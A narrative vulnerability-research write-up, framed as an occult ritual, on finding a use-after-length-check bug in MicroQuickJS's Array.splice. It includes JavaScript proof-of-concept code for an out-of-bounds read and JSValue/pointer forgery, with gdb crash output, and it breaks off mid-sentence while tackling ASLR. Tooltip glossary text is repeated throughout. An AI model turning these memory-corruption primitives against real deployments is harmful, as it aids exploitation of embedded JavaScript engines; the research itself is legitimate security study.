Performing A Ritual
To Hack MicroQuickJS

Performing A Ritual To Hack MicroQuickJS

By Amy (itszn) Burnett (1/12/26)

In 2019 the world-renowned adept PyroglyphicistPyroglyphyThe art of fire writing.
Programmed syntax burns logic into being.
Many languages can be written. Only a few can be written safely.
3 · 2 · 1
1, Fabrice Bellard, released a JavaScript EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
of the name QuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
. This Work, unsurprising for Bellard who is also the Author of QEMU and FFMPEG, was written entirely in Language of The Memory-Unsafe-CLanguage of the Memory-Unsafe-CEarly Language imbued with power over Memory.
Many claim its great ability, but so too is its danger.
Much was written in this tongue. Unfortunately much still is...
6 · 2
.

Consisting of over 70 thousand lines of complex invocations, this quickly drew the attention of those well versed in KnockPractitioners of KnockThe ones that find openings.
They strike at logical weak points and exploit bad assumptions.
6
. We few entered a race to locate LoopholesLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
(vulnerabilities) within the Work. This Research was successful and many LoopholesLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
were found and ExploitsExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 · 3 · 1
summoned.

A Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
ExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 · 3 · 1
The Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
Summoned ShellEnlightenment.
Absolute control. Escape.
Many strive to reach it. None know what to do once there.
10 · 6 · 2
LoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1

It is now six years later.

Bellard has done it yet again. On 12/22/25 he released a follow up JavaScript EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
, this time with the name MicroQuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
. As the name suggests this is an attempt to decrease the overall Memory Footprint of the original QuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
work. However this is not a Fork, it is essentially a Rewrite with entirely different Core Mechanisms.

As soon as I saw this announcement, I had a Temptation before me:

Find a LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
and summon an ExploitExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 · 3 · 1
from it as quickly as possible…

With my Task before me, I obtain a copy of MicroQuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
and so the Clock begins ticking.

00:00 - 01:57
Untangling and Sifting For FlawsA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2

I begin with a survey of the landscape of this Work. The vast majority of the functionality is crammed within a single document named mquickjs.c. This document contains over 18 thousand lines of invocations, unsurprising for Bellard… but also only about a third as long as the previous Work.

I have compiled an index of the most important sections of this document:

Index Of The mquickjs.c File

All the core mechanisms of a competent JavaScript EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
are present. The entire volume is succinct and without frills.

Following A Few Hunches

With an initial survey of the mechanisms of this EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
complete, I turned my attention towards the Objects within.

Even a barebones JavaScript EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
will suffer from the complexity and bounds-cases of the ECMAScript Specifications.

If you review the Histories of most EnginesThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
constructed in Memory-Unsafe LanguagesLanguage of the Memory-Unsafe-CEarly Language imbued with power over Memory.
Many claim its great ability, but so too is its danger.
Much was written in this tongue. Unfortunately much still is...
6 · 2
, you will quickly find that one structure has produced more FaultsA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
than any other: the Array.

The Array is an oft convenient way to store items of any nature. At the same time their operations are complex and occluded.

I, personally, have a History with QuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
Arrays. During the 2019 contest I found a FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
in Array Construction
. While this specific issue is not present in MicroQuickJSThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
, the mechanisms of Arrays became my primary target.

A FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
Within Imperfect Twins

A Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2

By the time an hour and a half had passed, I had reviewed the text of the majority of the Array invocations: Constructing, Sorting, Mapping, Resizing. No FaultsA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
appeared (they may exist, but require additional scrutiny).

While the remaining mechanisms were limited in number (and increasingly drawing DreadDreadI've seen too much.
A nameless gnawing fear has its teeth in my hopes;
An existential horror: Will this Exploit ever work?
2
over the possibility of a mistake), I arrived at The Twins. Two invocations similar but apart: Slice and Splice.

Pay close attention as while they seem to perform the same function, they are different.

As I reviewed these invocations, a famous FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
came to mind. The Tome of Phrack speaks of it in Chronicle CVE-2016-4622. This error arose in the Engine of SafariThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
in the Slice invocation!

This LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
makes use of the valueOf method, a secret property of Objects. When valueOf is present, the ClampedInt invocation will obey it resulting in a Callback.

var invoke = {
    valueOf: function() {
        console.log("Callback performed...");
    }
}
arr.slice(invoke, 10);

Could the same mistake be made again?

The LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
I was seeking is known to scholars as a Time-of-Check Time-of-Use.

In this environment the issue arises from the following events:

  1. The Length aspect of the Array is saved in a Cached-Length (Time-of-Check)

  2. The engine invokes a Callback through valueOf which allows us to manipulate the Array. We can change the Length aspect to be smaller.

  3. Without verifying, the Engine uses the Cached-Length. (Time-of-Use)

The Cached-Length MUST NOT be updated or checked between these steps.

We will now examine the actual glyphs to determine if this is the case.

First, Slice:

JSValue js_array_slice(JSContext *ctx, JSValue *this_val,
                       int argc, JSValue *argv)
{
    p = js_get_array(ctx, *this_val);
    // 📦 Store the Length as a Cached-Length (TIME OF CHECK)
    len = p->u.array.len;
    ...

    // ✨ Invoke a Callback through the ValueOf method
    if (JS_ToInt32Clamp(ctx, &start, argv[0], 0, len, len))
        return JS_EXCEPTION;

    p = JS_VALUE_TO_PTR(*this_val);
    arr = JS_VALUE_TO_PTR(p->u.array.tab);
    // ❌ Alas the Cached-Length is refreshed
    len = p->u.array.len; /* the length may be modified */

    ...
    for(k = start; k < final; k++) {
        arr1->arr[k - start] = arr->arr[k];
    }
}

To growing DreadDreadI've seen too much.
A nameless gnawing fear has its teeth in my hopes;
An existential horror: Will this Exploit ever work?
2
, we can see that Slice does not have this mistake. It correctly refreshes the Length Cache after our Callback. It is correct.

My reader, do not forget the Twin! Does Splice perform the defense?

JSValue js_array_splice(JSContext *ctx, JSValue *this_val,
                        int argc, JSValue *argv)
{
    p = js_get_array(ctx, *this_val);
    // 📦 Store the Length as a Cached-Length (TIME OF CHECK)
    len = p->u.array.len;
    arr = JS_VALUE_TO_PTR(p->u.array.tab);

    // ✨ Invoke a Callback through the valueOf method
    if (JS_ToInt32Clamp(ctx, &start, argv[0], 0, len, len))
        return JS_EXCEPTION;

    p = JS_VALUE_TO_PTR(*this_val);
    arr = JS_VALUE_TO_PTR(p->u.array.tab);

    // 💣💥 Cached-Length used WITHOUT refresh! (TIME OF USE)
    del_count = clamp(argv[1], len) // simplified

    // Memory is copied up to the Cached-Length
    for(i = 0; i < del_count; i++) {
        arr1->arr[i] = arr->arr[start + i];
    }
}

Is this it? A FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
! The Cached-Length is used while ignoring any manipulations performed during the valueOf invocation.

If we shrink the Array’s Length aspects during the invocation, perhaps it started with 30 and we reduce it to 10, Splice will believe it is still 30. This mistake will prove fatal to the Security of the Work.

Confirming The FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2

Now we must craft the Proof-Of-Concept for this FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
to summon a SEGFAULTSEGFAULTA final crash. Unrecoverable.
The address was to Nowhere. You followed it to the end.
Perhaps a different address could have led somewhere else.
4 · 2
. This will confirm our discovery is not an illusion.

As a reminder to the reader, the FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
reveals that Array.splice will be ignorant of any changes to the Length aspect during a valueOf invocation.

To illuminate this invalid operation, we force the Length to zero. This will shape the array to contain JS_NULLNULLNothing and Nowhere.
Empty and void. The death of a memory.
4 · 2
, an empty space. And yet Array.splice will proceed with the incorrect Length. Accessing the JS_NULLNULLNothing and Nowhere.
Empty and void. The death of a memory.
4 · 2
empty state in such a way will summon the SEGFAULTSEGFAULTA final crash. Unrecoverable.
The address was to Nowhere. You followed it to the end.
Perhaps a different address could have led somewhere else.
4 · 2
.

var arr = new Array(30);

var attack = {
    valueOf: function() {
        // Change the array data pointer to JS_NULL
        arr.length = 0;
        return 10;
    }
};

arr.splice(attack, 30);

Thus the SEGFAULT arrives:

$ gdb --args ./mqjs ./poc.js
Segmentation fault (core dumped)

Program received signal SIGSEGV, Segmentation fault.
0x00005555555741d6 in js_array_splice (ctx=0x7ffff6bff010, this_val=0x7ffff7bfefc0,
  argc=<optimized out>, argv=0x7ffff7bfefd0) at mquickjs.c:14408

───[ DISASM / x86-64 / set emulate on ]───
  0x5555555741d6 <js_array_splice+495>    mov    rdx, qword ptr [rax + rdx + 8]
     <Cannot dereference [94]>

───[ SOURCE (CODE) ]───
In file: /home/nyan/projects/mjs/mquickjs/mquickjs.c:14408
   14407     for(i = 0; i < del_count; i++) {
  14408         arr1->arr[i] = arr->arr[start + i]
   14409     }

I cross reference with the use of the GDB instrumentA Debugging InstrumentSink hooks deep into the world.
Silently stalk the path the Engine walks.
Applying Lantern can illuminate the contents of Memory.
5 · 3 · 1
to confirm the FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
lies inside the Loop-Copy right after the valueOf invocation returns.

01:57 - 02:41
Forging A JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2
Beyond Bounds

Wonderful, we have discovered a FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
in just under 2 hours… but is it of any practical use?

Based on the similarities of other FaultsA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
of this type from the other Histories, I proceeded with high hopes.

To continue we must increase our understanding of the Structure of Memory. What is the actual shape of this JSArray in which the FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
occurs?

Can we manipulate this Memory to gain a new Capability?

Crafting A  and Forged PointerA Pointer created from thin air.
Shaped by a maleficent will.
It may lead to untold riches... or to certain death.
4 · 2 · 1
LoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1

Structure Of The JSArray Memory

To begin we shall examine the JSArray Memory Structure.

JSArrays are an extension of the JSObject, identified by the JS_CLASS_ARRAY aspect. These Objects contain a few base components including the Prototype and Properties. Additional components are added to extend the Object in the name of other Types.

struct JSObject {
    JS_MB_HEADER;
    JSWord class_id: 8;
    JSValue proto;
    JSValue props;
    union {
        // .. Extended type fields
        JSArrayData array;
        // ...
    }
}

In the Construction of JSArray Objects, it gains the additional JSArrayData structure. Within we find a Pointer to the Essential Data of the array in addition to an amount of Length aspect.

typedef struct {
    JSValue tab; /* JS_NULL or JSValueArray */
    uint32_t len; /* maximum value: 2^30-1 */
} JSArrayData;

This Pointer may also choose to be the empty JS_NULLNULLNothing and Nowhere.
Empty and void. The death of a memory.
4 · 2
in the case that the Length aspect is lacking. Such is the case in our invocation of array.length = 0.

Let us introspect the Memory of this Object:

var array = new Array(30);
Structure Of The JSArray

We can manipulate the amount of Length aspect to exert influence on the size and shape of the Essential Data. As an experiment I will increase the Length aspect to 50:

array.length = 50

This change caused the Essential Data to be reallocated with a larger Memory space. The original Memory space is thus abandoned by the array.

Resizing The JSArray

Now let’s try to use this mutation within our Array.splice FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
. The shape of the FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
means these changes to the magnitude of Length aspect are incorrectly ignored. It will still access Memory with the original magnitude in mind. If we reduce the amount of Length aspect it will access Memory beyond its Bounds.

However it is not as simple as just reducing the Length. The Essential Data Memory space must be reallocated entirely.

Through experimentation I found bringing the Length aspect to 0 first takes the shape of JS_NULL, instantly abandoning the old Memory space. From this state we can gradually increase the Length aspect again, giving us a new, smaller, Memory space.

I shall call this the Rite of the ReallocationRite of the ReallocationThis rite speaks of the process of Reallocation through
the Loss of what is already owned. Only then can new
Memory be gained.
6 · 4 · 2
.

Performing the RiteRite of the ReallocationThis rite speaks of the process of Reallocation through
the Loss of what is already owned. Only then can new
Memory be gained.
6 · 4 · 2
inside our FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
invocation shall summon our LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
:

var arr = new Array(30);

var attack = {
    valueOf: function() {
        // Force array to abandon the original memory space
        arr.length = 0;
        // Reallocate the memory space with a smaller size
        arr.length = 3;
        return 10;
    }
};

var output_arr = arr.splice(attack, 30);
Summoning The  Through

The LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
arrives with the Shape of an Out-Of-Bounds. With it Array.splice shall access Memory Beyond-Its-Bounds and into the Unknown.

Investigating Transmutations of the JSValuesTransmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2

What is in the Unknown, and what Type does the Out-Of-Bounds access take?

Analysis of the Work reveals that the Type is JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2
.

The Transmutations of The PointerA path into the darkness.
An address in Memory.
Follow it to find what lies within.
Follow an incorrect one and you may end up in Nowhere.
1
IntegerThe whole number.
Counted in fingers and toes.
1
Floating NumberA number divided endlessly.
A fraction of a whole.
Used for precise calculations.
1
Transmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2

This JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2
Type may be familiar if you have studied any other JavaScript Engines from other Histories. It is a Fluid Type which may be transmuted into one of three different States.

The JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2
Type is made up of the same 64 Bits. The 3 Least-Significant Bits indicate which State it is in currently. In this way the Type may be any of Pointer, Integer, or Floating Number.

Here is a field guide to identifying the 3 States:

All Possible Transmutations Of The

The root of it: The EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
may decode a JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2
into any of these 3 types based on the 3 Least-Significant bits…

Manipulating The Memory Beyond-Bounds

As many Entry ConsultantsPractitioners of KnockThe ones that find openings.
They strike at logical weak points and exploit bad assumptions.
6
know, a LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
oft requires Memory manipulation to evolve it into an ExploitExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 · 3 · 1
.

If I carefully allocate my Memory through the creation of other Objects during the invocation of the FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
, I can ensure that the Memory lies immediately Beyond-The-Bounds of our Array.

The simplest way to achieve this is through the creation of the Uint8Array Object. This Object is well known to allow placing controlled Raw-Bytes into its Memory Space. We call these Raw-Bytes by the name Controlled-Data.

With this we can place Controlled-Data just Beyond-The-Bounds of our Array:

Dreaming Our Controlled-Data To Be Allocated Into The Space Beyond-Bounds

Now our LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
, when invoked, should copy from our Controlled-Data…

To verify this we will perform an Experiment. Filling our Controlled-Data with the value 0x40, we shall see what our LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
returns to us:

var arr = new Array(30);

var attack = {
    valueOf: function() {
        arr.length = 0;
        arr.length = 3;
        // Allocate Controlled-Data
        var buf = new Uint8Array(100);
        for (var i = 0; i < 100; i++) {
            buf[i] = 0x40
        }
        return 10;
    }
};

var leaked = arr.splice(attack, 30);
print("After OOB Copy...")
for (var i = 0; i < 6; i++) {
    print(leaked[i].toString(16));
}

The LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
provides…

After OOB Copy...
20202020
20202020
20202020
20202020
20202020
20202020

The result of this experiment: We see the value 0x20 repeated! What does this tell us about our LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
?

By realizing that 0x20 is actually 0x40 >> 1, we can determine that our Controlled-Data was accessed as if it was the JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2
Type! More specifically, since the Least-Significant-Bit is 0, the Transmutation of the JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2
is the Integer Type…

Using our LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
, we have Forged a JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
  Pointer - A path into the darkness
  Integer - A count of fingers
  Floating Number - Endless division
Each form can be distinguished by the Least Significant Bits.
6 · 2
from the depths of the Controlled-Data!

I shall call this the Rite of the Type ForgeryRite of the Type ForgeryThrough the Wrong perception of a Memory,
Transmutations are achieved. Data which is viewed must
be shaped in accordance to the Type's Structure, lest it
shall crash and burn. A successful Forgery may incite
Cursed-Workings within the Engine for a greater purpose.
6 · 4 · 2
.

Forging A Pointer

How may we use the Rite of the Type ForgeryRite of the Type ForgeryThrough the Wrong perception of a Memory,
Transmutations are achieved. Data which is viewed must
be shaped in accordance to the Type's Structure, lest it
shall crash and burn. A successful Forgery may incite
Cursed-Workings within the Engine for a greater purpose.
6 · 4 · 2
to our advantage?

Our Experiment proved we can access Controlled-Data through the Integer Transmutation. Perhaps the other Transmutations will also be available for Forgery.

As a new Experiment, we will infuse our Controlled-Data with a specific value. I Will 0x454443424141 into my Memory.

The reader may notice that for 0x454443424141 the 3 Least-Significant-Bits are 001, this implies the Pointer Transmutation.

If our understanding of this LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
is correct, it shall access this value and believe it is a Pointer. But this is a Pointer to Nowhere, it does not Exist in Memory.

If the EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
tries to use this Pointer, it shall Crash and Burn…

Here is the construction of our next Experiment:

var arr = new Array(30);

var attack = {
    valueOf: function() {
        arr.length = 0;
        arr.length = 3;
        var buf = new Uint8Array(100);
        buf[0x30] = 0x40 + 1; // Least-Significant-Bits = 001
        buf[0x31] = 0x41;
        buf[0x32] = 0x42;
        buf[0x33] = 0x43;
        buf[0x34] = 0x44;
        buf[0x35] = 0x45;
        return 10;
    }
};

var leaked = arr.splice(attack, 30);
print("After OOB Copy...")
print(leaked[0]);

To watch the EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
’s reaction carefully we will use the GDB instrumentA Debugging InstrumentSink hooks deep into the world.
Silently stalk the path the Engine walks.
Applying Lantern can illuminate the contents of Memory.
5 · 3 · 1
:

$ gdb --args ./mqjs ./fake_pointer.js
After OOB Copy...

Program received signal SIGSEGV, Segmentation fault.

JS_Call (ctx=ctx@entry=0x7ffff6bff010, call_flags=<optimized out>, call_flags@entry=0)
at mquickjs.c:5846
5846                        JSObject *p = JS_VALUE_TO_PTR(obj);

───[ DISASM / x86-64 / set emulate on ]───
 0x555555562b0c <JS_Call+4401>    mov    al, byte ptr [rsi - 1]
    <Cannot dereference [0x454443424140]>

───[ SOURCE (CODE) ]───
   5844                 if (likely(JS_IsPtr(obj))) {
   5845                     /* fast case */
  5846                     JSObject *p = JS_VALUE_TO_PTR(obj);

Ah Ha! The Experiment behaves as expected, the EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
Crashes when using our Pointer Forgery 0x454443424140. This will lead us to more intricate Forgeries as we complete our ExploitExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 · 3 · 1
.

02:41 - 05:30
Defeating The World’s EntropyThe Entropy Of The WorldScholars declare it `Address Space Layout Randomization` 6 · 4

Some readers may know of the Art of Object Forgery, where an exact arrangement of Controlled-Data can be constructed such that EnginesThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
may understand it as a dangerous Type.

This Art is what I endeavored to paint next. Alas! There is a wrinkle in the canvas.

The Entropy Of The WorldScholars declare it `Address Space Layout Randomization` 6 · 4

To perform the Art of Object Forgery, we must make a Forged Pointer which Points to our Controlled-Data as opposed to Nowhere.

But I ask, dear reader, where in the World’s MemoryThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 · 2 · 1
does our Controlled-Data live?

It may surprise you to learn that the Dream of Memory (virtual memory) is a vast and sparse space. Our best scholarly estimates believe it is at least of the magnitude of 4 TRILLION Addresses by which any given Memory-Space may be found by.

In fact, expeditions dispatched into the Dream of Memory have found a disturbing fact: The Address of a Memory Space will change every time an EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
is used. This inexorable Entropy of the WorldThe WorldWhere everything happens.
A vast field containing all Memory and Execution.
Every time a new expedition is made, the layout of the World shifts.
6 · 2 · 1
is known as Address-Space-Layout-RandomizationThe Entropy Of The WorldScholars declare it `Address Space Layout Randomization` 6 · 4 or by its initialism “ASLR”.

You can see how the Entropy of the Address causes it to change in every invocation of the EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
:

While some parts of the Address remain the same, we still have upwards of 2 Billion possible locations.

To complete our Forged Object we will need to find a way to learn the Address of our Controlled-Data…

DreadDreadI've seen too much.
A nameless gnawing fear has its teeth in my hopes;
An existential horror: Will this Exploit ever work?
2
Creeps In

It was at this point that I reached a Door I was unable to easily pass, where no Simple-Key possessed would serve.

In my previous writing on finding LoopholesLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
in JavaScript EnginesThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
, a JSValue Forgery is usually enough to construct an Entropy-Leak. However those were with more complex EnginesThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
, in which one of these two was true:

  1. The JSArray contained other Types beyond JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
      Pointer - A path into the darkness
      Integer - A count of fingers
      Floating Number - Endless division
    Each form can be distinguished by the Least Significant Bits.
    6 · 2
    . For example a DoubleArray would allow a Pointer to be Transmuted into a Number.
  2. The Memory contained other Pointers besides JSValueTransmutations of the JSValueThe JSValue can make three Transmutations.
      Pointer - A path into the darkness
      Integer - A count of fingers
      Floating Number - Endless division
    Each form can be distinguished by the Least Significant Bits.
    6 · 2
    , allowing similar Pointer into Integer Forgery.

Alas, the MicroQuickJS EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
has neither of these. So I would need to discover a new Technique to achieve this Entropy-Leak.

DreadI've seen too much.
A nameless gnawing fear has its teeth in my hopes;
An existential horror: Will this Exploit ever work?
2

This process was riddled with Trials and Mistakes. For the next 2 hours I pored through the Lore. Questing for any untagged Raw-Pointer or some other glimmer of an Entropy-Leak.

After thorough examination of the EngineThe Engine of ExecutionThe beating heart of the program.
Constraints and Edicts operating within its own framework.
5 · 2 · 1
, the only Structure containing Raw-Pointers was the JSVarRef. This too was fruitless as their existence is fleeting and categorically impossible to force into remaining visible.

To my growing dread, I realized that an untagged Raw-Pointer would not be enough! The Transmutation such a Pointer would cause would only give me about 16 of the 32 Entropy-Bits required to defeat the ASLR.

The despair began to overwhelm me.

Would this LoopholeLoopholeA hole within a contract.
A vulnerability in assumptions.
Advantage can be taken when Memory is corrupted.
With an excess of Knock and a strong will, it may summon an Exploit.
5 · 2 · 1
not be enough on its own to summon our ExploitExploitThe weird machine.
A crafted sequence of glyphs that bends the edicts of the World.
It will only work while a Fault exists. Use it before it expires.
5 · 3 · 1
? I could summon a team and perform an Expedition to discover a new FaultA Fault in the WorkA defect. A bug. An imperfection.
You have found something wrong in the body of work.
Through Grail this error may be corrected and perfected.
Through Knock this mistake may be widened into a Loophole.
3 · 2
, one that might leak Entropy, but at what cost!

No! I would find a Path! I was sure a Key would reveal itself in due time.

I continued to experiment, making use of my GDB Instrument to perform observations of the Memory as the EngineThe Engine of ExecutionThe beating heart of the program.
